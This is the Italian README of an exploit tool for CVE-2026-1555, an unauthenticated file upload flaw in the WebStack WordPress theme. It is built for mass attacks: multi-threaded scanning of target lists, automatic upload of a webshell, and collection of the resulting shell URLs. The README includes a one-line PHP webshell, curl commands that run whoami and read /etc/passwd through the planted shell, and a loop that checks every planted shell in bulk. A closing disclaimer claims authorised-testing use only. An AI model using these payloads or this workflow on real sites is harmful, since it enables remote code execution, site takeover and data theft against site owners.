CVE-2026-1555

WebStack <= 1.2024 - Caricamento Arbitrario di File Non Autenticato

📌 Panoramica della Vulnerabilità

🔬 Causa Tecnica Principale

La funzione io_img_upload() registrata nell'hook d'azione img_upload di WordPress admin-ajax.php non esegue alcuna validazione del tipo di file o dell'estensione prima di scrivere il file caricato sul server. Poiché l'azione è registrata senza controlli di autenticazione (wp_ajax_nopriv_), qualsiasi attaccante remoto non autenticato può inviare un file arbitrario — inclusa una webshell PHP — e il server lo memorizzerà in un percorso accessibile pubblicamente, consentendo l'esecuzione remota di codice diretta.

Endpoint vulnerabile:

POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>

⚙️ Funzionalità dello Strumento

• 🔁 Scansione multi-thread con numero di worker configurabile
• 📋 Supporto per target multipli tramite file di elenco target
• 📤 Estrazione automatica dell'URL della shell dalla risposta JSON
• 💾 URL delle shell riuscite salvati in uploaded_paths.txt
• 🎨 Interfaccia terminale ricca con monitoraggio dell'avanzamento in tempo reale
• 🔕 Verifica SSL disattivata per la massima compatibilità

📦 Requisiti

Versione Python: 3.8+

Installa le dipendenze:

pip install requests rich urllib3

🚀 Utilizzo

1. Prepara il tuo elenco di target

Crea un file chiamato list.txt (o qualsiasi altro nome preferisci) con un target per riga:

https://target1.com
https://target2.com
http://target3.com

I target senza http:// o https:// vengono automaticamente preceduti da http://.

2. Prepara il tuo payload

Posiziona la tua webshell nella stessa directory dello script. Esempio:

# Minima webshell PHP
echo '<?php system($_GET["cmd"]); ?>' > shell.php

3. Esegui lo strumento

python CVE-2026-1555.py

Ti verranno richiesti:

📤 Output ed Estrazione della Shell

Output in Tempo Reale

Ogni caricamento riuscito stampa:

╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful                              │
│                                                │
│ Target:    https://target.com                  │
│ Shell URL: https://target.com/wp-content/...   │
╰────────────────────────────────────────────────╯

Risultati Salvati

Tutti gli URL delle shell riuscite vengono aggiunti a:

uploaded_paths.txt

Accesso alla Tua Shell

Dopo un caricamento riuscito, accedi alla shell direttamente tramite browser o curl:

# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id

# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"

# Esecuzione completa dei comandi
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"

Il percorso esatto di caricamento viene estratto dalla risposta JSON del server (data.src) e stampato automaticamente.

Verifica di Massa delle Shell

Verifica rapidamente tutte le shell caricate dal file di output:

while read url; do
  echo -n "[*] $url -> "
  curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt

📊 Riepilogo dell'Output

Al termine di ogni esecuzione, viene stampato un riepilogo:

Summary  50/50  OK: 12  FAIL: 38
╭──────────────────────────────────────────╮
│  Shell URLs saved to uploaded_paths.txt  │
╰──────────────────────────────────────────╯

🗂️ Struttura dei File

CVE-2026-1555.py       ← Main exploit script
list.txt               ← Target URLs (one per line)
shell.php              ← Payload to upload
uploaded_paths.txt     ← Auto-generated: successful shell URLs

⚠️ Disclaimer

Questo strumento è fornito esclusivamente per test di penetrazione autorizzati, ricerca sulla sicurezza e scopi educativi.

L'autore — Nxploited — non si assume alcuna responsabilità per usi impropri, danni o attività illegali compiute con questo strumento. Utilizzando questo strumento, confermi di avere un'autorizzazione scritta esplicita per testare tutti i sistemi target.

L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai il permesso esplicito di testare è illegale e può comportare un procedimento penale ai sensi delle leggi applicabili sui crimini informatici.

Usalo in modo responsabile. Sei l'unico responsabile delle tue azioni.